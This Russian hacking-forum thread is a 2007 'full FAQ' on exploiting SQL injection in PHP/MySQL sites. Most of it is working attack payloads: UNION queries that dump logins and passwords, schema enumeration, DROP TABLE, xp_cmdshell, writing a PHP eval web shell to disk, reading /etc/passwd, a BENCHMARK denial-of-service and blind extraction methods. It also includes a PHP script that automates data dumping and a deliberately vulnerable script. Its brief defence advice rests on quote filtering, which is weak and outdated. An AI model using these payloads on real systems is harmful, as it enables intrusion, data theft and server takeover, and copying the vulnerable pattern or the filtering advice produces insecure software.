Правила Форума редакция от 22.06.2020 |
|
|
|
|
|
Опции темы | Опции просмотра | Language |
31.07.2007, 13:08 | #1 |
SQL injection полный FAQ by I-I()/Ib
SQL injection полный FAQ
Автор: I-I()/Ib Написанно специально для antichat.ru 0.INTRO Лазив по интернету в поисках хоть какой то инфы по SQL injection ты наверно часто натыкался на статьи либо очень короткие, либо не понятные, либо освещающие одну тему либо еще что-то которые разумеется тебя не устраивали. Когда то и я насобирал где то статей 10-20 по этой теме чтобы вникнуть во многие тонкости этой уязвимости. И вот вспоминая те времена решил написать полный FAQ по этой теме, чтобы так сказать остальные не мучались. И еще одна просьба. Те кто найдет что я что то пропустил, где то ошибся и тд пожалуйста отпишитесь ниже, трудно все таки, все удержать в голове . Кстати это моя первая статья, пожалуйста не кидайтесь помидорами, и не пинайте ногами. Не первый день увлекаясь взломом ты наверно знаешь что такое SQL injection если нет то я это статья для тебя. SQL injection дальше просто инъекция это тип атаки при котором взломщиком модифицируется оригинальный запрос к БД таким образом чтобы при выполнении запроса была выведена нужная ему информация из БД. Для усвоения этой статьи требуется: а) Наличие мозгов б) Прямые руки в) Знания языка SQL В основном эта статья писалась как для MYSQL+PHP но есть и пара примеров с MSSQL. Вообще по-моему самый лучший способ обучиться правильной работе с SQL injection это не прочтение этой статьи, а живая практика, например самому написать уязвимый скрипт, или использовать мой приведенный в самом конце. Кстати советую читать все подряд потому что в каждом пункте есть что то важное для следующего пункта и т.д. К сожалению статья не укладывается в лимит 20000 символов поэтому разбиваю на несколько постов. 1. КАК НАЙТИ SQL INJECTION Это довольно таки просто. Надо вставлять во все поля, переменные, куки двойную и одинарные кавычки. 1.1 Первый случай Начнем с вот такого скрипта http://xxx/news.php?id=1. Предположим что оригинальный запрос к БД выглядит так: Код:
SELECT * FROM news WHERE id='1'; mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' Так как в запросе к БД будет присутствовать лишняя кавычка: Код:
SELECT * FROM news WHERE id='1''; Код:
SELECT * FROM news WHERE id='1'; -- '; Тому что делать с этой уязвимостью посвящен весь пункт 2. 1.2 Второй случай В SQL есть оператор LIKE. Он служит для сравнения строк. Вот допустим скрипт авторизации при вводе логина и пароля запрашивает БД вот так: Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123'; Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%'; 1.3 Третий случай Что делать если в том же скрипте авторизации отсутствует проверка на кавычку. Имхо будет как минимум глупо использовать эту иньекцию для вывода какой нибудь информаци. Пускай запрос к БД будет типа: Код:
SELECT * FROM users WHERE login='Admin' AND pass='123'; Код:
SELECT * FROM users WHERE login='Admin'; -- ' AND pass='123'; Код:
SELECT * FROM users WHERE login='Admin' AND pass='123' OR login='Admin'; -- '; Код:
SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin'); 1.4 Четвертый случай Вернемся к скрипту новостей. Из языка SQL мы должны помнить что числовые параметры не ставятся в кавычки то есть при таком обращении к скрипту http://xxx/news.php?id=1 запрос к БД выглядит вот так: Код:
SELECT * FROM news WHERE id=1; mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' Если это сообщение не выпригивает то можно понять что кавычка фильтруется и нужно тогда вписать http://xxx/news.php?id=1 bla-bla-bla БД не поймет шо это за бла бла бла и выдаст сообщение об ошибке типа: mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 bla-bla-bla' Если отчет об ошибках выключен тогда проверяем вот так http://xxx/news.php?id=1; -- Должно отобразиться точно также как и http://xxx/news.php?id=1 Теперь можно переходить к пункту 2. 2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ Дальше будет рассматриваться только тип уязвимости описанный в пункте 1.1 а переделать под остальные сможете сами это не трудно 2.1 Команда UNION Для начала самое полезное это команда UNION (кто не знает лезть в гугл )… Модифицируем обращение к скрипту http://xxx/news.php?id=1' UNION SELECT 1 -- . Запрос к БД у нас получается вот таким: Код:
SELECT * FROM news WHERE id='1' UNION SELECT 1 -- '; Не забывая про то что количества столбцов до UNION и после должны соответствовать наверняка вылезет ошибка (если только в таблице news не одна колонка) наподобие: mysql_query(): The used SELECT statements have a different number of columns В данном случае нам нужно подобрать количиство столбцов (что бы их количество до UNION и после соответсвовало). Делаем это так: http://xxx/news.php?id=1' UNION SELECT 1, 2 -- Ошибка. «The used SELECT statements have a different number of columns» http://xxx/news.php?id=1' UNION SELECT 1,2,3 -- Опять ошибка. … http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 -- О! Отобразилось точно также как и http://xxx/news.php?id=1 значит количество полей подобрано, то есть их 6 штук… 2.1.1.2 Подбор количества полей(Способ 2) А этот способ основан на подборе количества полей с помощью GROUP BY. То есть запрос такого типа: http://xxx/news.php?id=1' GROUP BY 2 -- Будет отображен без ошибок если количество полей меньше или равно 2. Делаем запрос такого типа: http://xxx/news.php?id=1' GROUP BY 10 -- Упс... Появилась ошибка типа. mysql_query(): Unknown column '10' in 'group statement' Значит столбцов меньше чем 10. Делим 10 на 2. И делаем запрос http://xxx/news.php?id=1' GROUP BY 5 -- Опа ошибки нет значит количество столбцов больше либо равно 5 но меньше чем 10. Теперь берем среднее значение между 5 и 10 это получается вроде 7. Делаем запрос: http://xxx/news.php?id=1' GROUP BY 7 -- Ой опять ошибка... mysql_query(): Unknown column '7' in 'group statement' Значит количество больше либо равно 5 но меньше чем 7. Ну и дальше делаем запрос http://xxx/news.php?id=1' GROUP BY 6 -- Ошибок нет... Значит число больше либо равно 6 но меньше чем 7. Отсюда следует что искомое число столбцов 6. 2.1.1.3 Подбор количества полей(Способ 3) Тот же самый принцип что и в пункте 2.1.1.2 только используется функция ORDER BY. И немного меняется текст ошибки если полей больше. mysql_query(): Unknown column '10' in 'order clause' 2.1.2 Определение выводимых столбцов Я так думаю что многим из нас точно такая страница как и http://xxx/news.php?id=1 не устроит. Значит нам нужно сделать так чтобы по первому запросу ничего не выводилось (до UNION). Самое простое это поменять "id" с '1' на '-1' (либо на '9999999') http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. (Например так как это условно скрипт новости то в «Название новости» будет отображенно допустим 3, «Новость»-4 ну и тд). Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции. Если цифры не отобразились нигде то остальные подпункты пункта 2.1 можно пропустить. 2.1.3 SIXSS (SQL Injection Cros Site Scripting) Эта таже XSS только через запрос к базе. Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<script>alert('SIXSS')</script>',5,6 --Ну думаю понять не трудно что 4 в странице заменится на <script>alert(‘SIXSS’)</script> и соответственно получится таже XSS. 2.1.4 Названия столбцов/таблиц Если ты знаешь названия таблиц и стобцов в БД этот пункт можно пропустить Если не знаешь… Тут два пути. 2.1.4.1 Названия столбцов/таблиц если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5 Таблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME-имена таблиц. http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так: Вывод первой строки: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 -- Вывод второй строки: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 --и т.д. Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем… Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 1,1 -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 2,1 -- и т.д. И вот мы нашли поля login, password. 2.1.4.2 Названия столбцов/таблиц если нет доступа к INFORMATION_SCHEMA Это жопный вариант .Тут в силу вступает обычный брутофорс... Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы -- Нужно подбирать Имя_таблицы до тех пор пока не пропадет сообщение об ошибке типа: mysql_query(): Table 'Имя_таблицы' doesn't exist Ну ввели мы к своему счастью Users пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- что это значит? Это значит то что существет таблица Users и нужно приступить к перебору столбцов. http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users -- Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа: mysql_query():Unknown column 'Имя_столбца'' in 'field list' Там где пропадает сообщение об ошибке значит такой столбец существует. И вот таким образом мы узнали что в таблице Users есть столбцы login, password. 2.1.5 Вывод информации Обращение к скрипту таким образом http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 1,1 -- Выводит нам логин и пароль первого юзера из таблицы Users. 2.2 Объединение запросов (Не поддерживается Mysql) Запросы разделяются точкой с запятой «;». То есть в одно обращение к БД можно всунуть несколько запросов. 2.2.1 Запрос с DROP Пример: http://xxx/news.php?id=1'; DROP TABLE 'Users'; -- Удалит таблицу Users. 2.2.2 Запрос с EXEC (Только для MsSql) Пример: http://xxx/news.php?id=1'; EXEC master..xp_cmdshell 'ping 10.10.1.2' ; -- Выполнит в командной строке «ping 10.10.1.2» 2.3 Работа с файлами 2.3.1 Запись в файл Есть в MYSQL такая интересная функция типа SELECT … INTO OUTFILE позволяющая записывать информацию в файл. Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt'; -- Для нее работает несколько ограничений.
А вот что бы нам мешало сделать веб шел? Вот например так: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php'; -- Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема. 2.3.2 Чтение файлов Рассмотрим функцию LOAD_FILE Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6; Для нее есть также несколько ограничений.
Если функции не удастся прочитать файл то она возвращает NULL. 2.4 DOS атака на SQL сервер В большинстве случаев SQL сервер досят из-за того что больше ничего сделать не могут. Типа не получилось узнать таблицы/столбцы, нет прав на это, нет прав на то и т.д. Я честно говоря против этого метода но все таки... Ближе к делу… Функция BENCHMARK выполняет одно и тоже действие несколько раз. Код:
SELECT BENCHMARK(100000,md5(current_time)); SELECT BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))); Выполняется очень долго честно говоря я даже не дождался... пришлось делать reset . Пример Доса в нашем случае: http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6; -- Достаточно раз 100 потыкать F5 и «сервер упадет в беспробудный даун» ))).
__________________
Sometimes the life chooses for us.. Если человек идиот он должен знать об этом. (c) me Последний раз редактировалось WeNZeeR; 01.08.2007 в 11:15.. |
|
Сказали спасибо: |
Реклама: | где можно приобрести или заказать цветы из зефира | Выгодное предложение от интернет-магазина KNSneva.ru - Asus ZenBook 14 OLED UM3406HA-QD119 - специальные условия для корпоративных клиентов в Санкт-Петербурге. | установка импланта зуба цена москва под ключ | Рекомендуем КНС - процессор AMD Ryzen 5 5600G OEM купить - Подарок каждому покупателю! | как настроить U-ON |
31.07.2007, 13:09 | #2 |
Ответ: SQL injection полный FAQ
3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ.
3.1 Посимвольный перебор Этот случай нужен нам если http://xxx/news.php?id=1 при разных id выдаст нам разные результаты. Например http://xxx/news.php?id=1 будет отлично от http://xxx/news.php?id=0 если нет, то этот метод бесполезен но дочитать до конца стоит. Как мы помним запрос к БД у нас выглядит так Код:
SELECT * FROM news WHERE id='1'; Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- '; http://xxx/news.php?id=-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- Что нам это дает? Для начала MYSQL выполняет подзапрос SELECT USER() вставляет его в функцию ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция IF() возвращает 1 если этот код больше или равен 100 oсновной запрос становиться таким Код:
SELECT * FROM news WHERE id='-1' OR id=1 Код:
SELECT * FROM news WHERE id='-1' OR id=0 http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=100,'1','0') Ага вернулся 1 значит код первого символа больше или равен 100. Пробуем вот так: http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=200,'1','0') Вернулся 0 значит 100<= код символа <200. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=150,'1','0') Опять вернулся 0 значит 100<= код символа <150. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=125,'1','0') И снова вернулся 0 значит 100<= код символа <125. [COLOR=DarkSlateBlue]http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=113,'1','0')[/COLOR] Вернулся 1 следовательно113<= код символа <125. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=118,'1','0') Возвращается 0 следовательно113<= код символа <118. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=115,'1','0') 113<= код символа <115. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1) =113,'1','0') Вернулся 0 значит код символа не равен 113. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)=114,'1','0') Ура! Вернулся 1 значит код символа равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),2,1)>=100,'1','0') И заново повторяем все предыдущие шаги. 3.2 Посимвольный перебор с помощью BENCHMARK Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос Код:
SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW()))); http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- Запрос станет таким: Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- '; Теперь поговорим о времени задержки. Для того чтобы определить время возврата 0 и 1 нужно сделать предварительно несколько запросов: http://xxx/news.php?id=-1' OR id= IF(99>100, 1, BENCHMARK(2999999,MD5(NOW()))) Будет возвращать 0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число 2999999 до той степени чтобы вы могли точно судить была ли задержка или нет по сравнению с http://xxx/news.php?id=-1' OR id= IF(101>100, 1, BENCHMARK(2999999,MD5(NOW()))) который вернет 1. Огромным минусом является то что BENCHMARK-ом мы очень сильно грузим сервак. ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными. 3.3 Посимвольный перебор с помощью отчета об ошибках Этот пункт написан на основе (только на основе, без перепечаток!) статьи "Новая альтернатива Benchmark'y или эффективный blind SQL-injection" которая была взята с античата(автар откликнесь допишу твой копирайт ). Данный способ основан на том что вместо возврата 0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился 0 а по отсутствию ошибки что возвратился 1. Этот способ нам поможет если отсутствуют выводимые поля но ВКЛЮЧЕН(!) отчет об ошибках. Код:
SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2) mysql_query():Subquery returns more than 1 row Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) -- '; Код:
SELECT 1 UNION SELECT 2 Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы. 4.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ. 4.1 Фильтруется пробел Ну для начала вспомним что для SQL конструкция типа /**/ равна пробелу. А также можно перейти к пункту 4.2. 4.2 Фильтруется символ/строка Есть интересная функция CHAR() которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция ASCII() возвращает код самого левого символа из переданной ей строке юзается так Код:
SELECT ASCII('*'); Код:
SELECT CHAR(42, 42, 42); Код:
SELECT HEX('login'); Код:
SELECT 0x6C6F67696E FROM User; Код:
SELECT CHAR(0x6C,0x6F,0x67,0x69,0x6E) FROM User; Надеюсь что за SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать: Большой справочник языку SQL . ---------------------------- USER()-функция выводит логин юзера под которым мы подключены к MYSQL DATABASE()-функция выводит название БД к которой мы подключены VERSION()-выводит версию MYSQL ---------------------------- ASCII(str)-возвращает ASCII код первого символа в строке "str" CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д. HEX(str)-возвращает 16-ричный эквивалент строки "str". ---------------------------- LENGTH(str)- Возвращает длину строки "str". SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos. LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0. ---------------------------- LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу) CONCAT(param1,param2,...) -объединение подстрок в одну строку. CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep". ---------------------------- IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2. ---------------------------- 6. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет. А защитится очень просто. Кстати все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie. 1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ. ------------------------------- 2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_” ------------------------------- 3)Не использовать при сравнении прерменных без кавычек типа SELECT …WHERE id=$id а использовать так SELECT ...WHERE id='$id' и обратиться к пункту 1
__________________
Sometimes the life chooses for us.. Если человек идиот он должен знать об этом. (c) me Последний раз редактировалось WeNZeeR; 01.08.2007 в 11:03.. |
|
Эти 2 пользователя(ей) сказали cпасибо за это полезное сообщение: |
01.08.2007, 10:28 | #3 |
Ответ: SQL injection полный FAQ
7.ДОПОЛНЕНИЯ
Выдалась свободная минутка... не знаю нужно ли вообще комуто это, но вот как и обещал... Код уязвимого скрипта Код:
<?php //Настройки БД $script['mysql_server']='localhost';//Хост $script['mysql_login']='root';//Логин $script['mysql_password']='';//Пароль $script['mysql_db']='test';//Имя БД //Сам скрипт $body=""; $body.="<html> <head><title>Новости</title></head> <body> "; mysql_connect($script['mysql_server'], $script['mysql_login'], $script['mysql_password']) or die('Не могу подключиться к серверу'); mysql_select_db($script['mysql_db']) or die('Не могу подключиться к БД'); if(!empty($_GET['id']))//Вывод одной новости { $body.="<h3>Просмотр новости</h3> \n<br>"; $zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос $result=mysql_query($zapros); echo(Mysql_error());//Вывод ошибки $data=mysql_fetch_row($result); //Вывод результата запроса $body.="Заголовок: <b>".$data['3']."</b>\n"; $body.="<hr><pre>".$data['4']."</pre>\n"; $body.="<hr>Добавленно ".$data['5']." ".$data['1']." в ".$data['2']."\n<br><br>"; $body.="<a href='?'>Назад</a>"; } else //Ну и простое отображение всех новостей(шоб понятней было где скуль) { $body.="<h3>Все новости</h3> \n<br>"; $zapros="SELECT * FROM news;"; $result_z=mysql_query($zapros); $count_str=mysql_num_rows($result_z); for($i=1;$i<=$count_str;$i++) { $result=@mysql_fetch_assoc($result_z); $body.=$i.".<a href='?id=".$i."'>".$result['caption']."<a/><br>\n"; } } $body.="</body></html>"; echo($body); ?> Код:
CREATE TABLE `news` ( `id` int(11) NOT NULL default '0', `date` varchar(8) NOT NULL default '', `time` varchar(7) NOT NULL default '', `caption` varchar(50) NOT NULL default '', `text` text NOT NULL, `avtor` varchar(50) NOT NULL default '' ) ENGINE=MyISAM DEFAULT CHARSET=utf8; INSERT INTO `news` VALUES (1, '23/03/07', '12:30', 'Здравствуй вася :)', 'Ну что начинай хакать этот скриптег :)\r\nИ побыстрее а то малоли... :P', 'I-I()/Ib'); INSERT INTO `news` VALUES (2, '24/03/07', '11:10', 'Гы а это для разнообразия', 'А то я подумал вдруг мало будет новостей :))\r\nТолько за дизайн извиняюсь... както кривовато смотриться ну да лано...', 'I-I()/Ib'); CREATE TABLE `users` ( `login` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '' ) ENGINE=MyISAM DEFAULT CHARSET=utf8; INSERT INTO `users` VALUES ('Admin', 'PaSsWoRd'); INSERT INTO `users` VALUES ('User', '123456'); INSERT INTO `users` VALUES ('Looser', 'big_password'); А теперь что-то пополезнее. Скрипт для вывода инфы через LIMIT или еще что нибудь этого рода ;) Код:
<?php $set['b']='121212';//Что находится перед выводиомй инфой $set['e']='212121';//Что находится после выводимой инфы $set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!) $set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр $set['c']='+++counter+++';//Строка счетчика $set['f']='0';//Начальное значение счетчика $set['s']='500';//Конечное значение счетчика $set['h']='test';//Хост if(!empty($_GET['b']))$set['b']=$_GET['b']; if(!empty($_GET['e']))$set['e']=$_GET['e']; if(!empty($_GET['u']))$set['u']=$_GET['u']; if(!empty($_GET['z']))$set['z']=$_GET['z']; if(!empty($_GET['c']))$set['c']=$_GET['c']; if(!empty($_GET['f']))$set['f']=$_GET['f']; if(!empty($_GET['s']))$set['s']=$_GET['s']; if(!empty($_GET['h']))$set['h']=$_GET['h']; for($i=$set['f'];$i<=$set['s'];$i++) { $zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре //Создаем пакет $header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n"; $header.="Accept-Language: en-us,en;q=0.5\r\n"; $header.="Accept-Charset: utf-8,*;q=0.7\r\n"; $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5"; $header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n"; $header.="Connection: keep-alive\r\n"; $header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n"; $header.='Cookie2: $Version=1'."\r\n"; $header.="Host: ".$set['h']."\r\n\r\n"; $dt=""; $fp=fsockopen($set['h'], 80); fwrite($fp, $header); while(!feof($fp)) $dt.=fread($fp, 1024); fclose($fp); //Вырезаем необходимую инфу $dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b'])); $dt=substr($dt,0,strpos($dt,$set['e'])); //Выводим инфу на экран echo($dt."\r\n"); flush(); } ?>
__________________
Sometimes the life chooses for us.. Если человек идиот он должен знать об этом. (c) me Последний раз редактировалось WeNZeeR; 01.08.2007 в 10:32.. |
|
Эти 7 пользователя(ей) сказали cпасибо за это полезное сообщение: |
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Полный привод: УАЗ 4х4 | Alexus_A | Архив | 75 | 03.03.2011 07:50 |
Полный провал! | semiono | UNIX, Linux, MacOs для PC и другие ОС | 5 | 27.10.2008 10:53 |
PHP Injection | lonejan | Хакинг в глобальной сети WWW | 7 | 06.08.2007 18:27 |
|
|